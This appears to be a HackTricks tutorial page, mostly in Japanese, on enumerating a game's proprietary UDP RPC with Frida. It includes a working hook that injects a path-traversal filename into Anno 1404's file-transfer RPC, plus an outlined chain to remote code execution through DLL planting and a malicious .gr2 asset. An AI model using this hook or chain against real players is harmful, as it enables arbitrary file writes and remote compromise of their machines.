カスタム UDP RPC 列挙とファイル転送の悪用

Tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

Fridaを使ったプロプライエタリRPCオブジェクトのマッピング

古いマルチプレイヤータイトルはしばしばUDP上に自作のRPCスタックを組み込んでいる。Anno 1404: Venice では、NetComEngine3.dll 内の RMC_CallMessage ディスパッチャで実装されており、各データグラムから5つのフィールドを解析する:

フィールド用途
IDRPC verb (16-bit)
Flagsトランスポート修飾子(信頼性、順序)
Source呼び出し元のオブジェクトID
TargetObjectリモートのオブジェクトインスタンス
Method対象クラス内のメソッドインデックス

2つのヘルパー関数 — ClassToMethodName()TargetName() — は、生のIDをログ用の可読文字列に変換する。24ビットのオブジェクトIDと16ビットのメソッドIDをbrute-forcingし、それらのヘルパーを呼び出すことで、traffic capturesやsymbol leaksなしにリモートで到達可能なサーフェス全体を列挙できる。

Frida surface enumerator (trimmed) ```javascript 'use strict';

const classToMethod = Module.getExportByName(‘NetComEngine3.dll’, ‘ClassToMethodName’); const targetName = Module.getExportByName(‘NetComEngine3.dll’, ‘TargetName’);

function tryID(objID, methodID) { const method = new NativeFunction(classToMethod, ‘pointer’, [‘pointer’, ‘uint’]); const target = new NativeFunction(targetName, ‘pointer’, [‘pointer’]); const buf = Memory.alloc(Process.pointerSize); buf.writeU32(objID); const m = method(buf, methodID); if (!m.isNull()) { const t = target(buf); console.log(objID.toString(16), ‘=’, t.readUtf16String()); console.log(’ -’, methodID, ‘=’, m.readUtf16String()); } }

for (let obj = 0; obj < 0x9000000; obj += 0x400000) { for (let meth = 0; meth < 0x40; meth++) { tryID(obj, meth); } }

</details>

Running `frida -l explore-surface.js Addon.exe` emitted the complete RPC map, including the `Player` object (`0x7400000`) and its file-transfer verbs `OnSendFileInit`, `OnSendFileData`, `OnReceivedFileData`, and `OnCancelSendFile`. The same workflow applies to any binary protocol that exposes internal reflection helpers: intercept the dispatcher, brute-force IDs, and log what the engine already knows about each callable method.

### ヒント

- エンジン自身のログ用バッファ(この場合は `WString::Format`)を使い、未文書化の文字列エンコーディングを再実装しないようにする。
- `Flags` をダンプして、fuzzing を試みる前に信頼性機能(ACK、resend requests)を特定する;カスタムの UDP スタックはしばしば不正なパケットを黙って破棄する。
- 列挙したマップを保存する — それは fuzzing コーパスとして機能し、どのオブジェクトがファイルシステム、ワールド状態、あるいはゲーム内スクリプトを操作しているかが明白になる。

## ファイル転送RPCの悪用

マルチプレイヤーのセーブ同期は2パケットのハンドシェイクを使用していた:

1. `OnSendFileInit` — クライアントが受信したペイロードを保存する際に使用すべき UTF‑16 のファイル名を運ぶ。
2. `OnSendFileData` — 固定サイズのチャンクで生のファイル内容をストリーミングする。

サーバーが送信直前に `ByteStreamWriteString()` でファイル名をシリアライズするため、Frida hook によってパケットサイズを維持したままファイル名ポインタを traversal payload に差し替えることができる。

<details>
<summary>ファイル名差し替え</summary>
```javascript
const writeStr = ptr('0x1003A250');
const ByteStreamWriteString = new NativeFunction(writeStr, 'pointer', ['pointer', 'pointer']);
const evil = Memory.allocUtf16String('..\\..\\..\\..\\Sauvegarde.sww');

Interceptor.attach(writeStr, {
onEnter(args) {
const src = args[1].readPointer();
const value = src.readUtf16String();
if (value && value.indexOf('Sauvegarde.sww') !== -1) {
args[1].writePointer(evil);
}
}
});

被害クライアントはサニタイズを全く行わず、受信したセーブをホストが指定した任意のパスに書き込んでいました。例えば意図した ...\Savegames\MPShare ツリーではなく C:\User\user に落とすような挙動です。Windows にインストールされた Anno 1404 ではゲームディレクトリが world-writable になっているため、トラバーサルは即座に任意ファイル書き込みプリミティブになります:

  • Drop DLLs — 次回起動時の search-order hijacking に利用
  • Overwrite asset archives (RDA files) — 武装化したモデル、テクスチャ、またはスクリプトが同一セッション中に即座に読み込まれるように上書き

他のターゲットの防御 / 攻撃

  • SendFileUploadShareSave 等と名付けられた RPC verbs を探し、ファイル名やターゲットディレクトリを扱うシリアライズ用ヘルパをインターセプトする。
  • ファイル名が長さチェックされていても、多くのスタックは ..\ や混在する /\ のシーケンスを正規化するのを忘れる。すべての区切り文字を総当たりする。
  • 受信側がゲームのインストールパス配下にファイルを保存する場合、icacls で ACL を確認し、権限の低いユーザーがそこにコードを置けるかを確かめる。

path traversal をライブアセット実行に変える

任意のバイトをアップロードできるようになったら、頻繁に読み込まれるアセットを置き換えます:

  1. Unpack the archive. RDA archives は DEFLATE ベースのコンテナで、メタデータは任意で srand(0xA2C2A) シードストリームで XOR-obfuscated されています。編集後は RDAExplorer のようなツールで再パックできます。
  2. Inject a malicious .gr2. トロイ化された Granny 3D ファイルには、SectionContentArray を上書きするリロケーションエクスプロイトが含まれており、二段階のリロケーションシーケンスを経て granny2.dll 内で任意の4バイト書き込みを獲得します。
  3. Hijack allocator callbacks. ASLR が無効で DEP がオフの場合、granny2.dll 内の malloc/free 関数ポインタを置き換えることで次のアロケーションをあなたの shellcode にリダイレクトでき、被害者がゲームを再起動するのを待たずに即時 RCE を得られます。

このパターンは、バイナリアーカイブから構造化アセットをストリーミングする任意のタイトルに一般化できます: 配信には RPC レベルの traversal を組み合わせ、不安全なリロケーション処理でコード実行を達成します。

参考資料

Tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする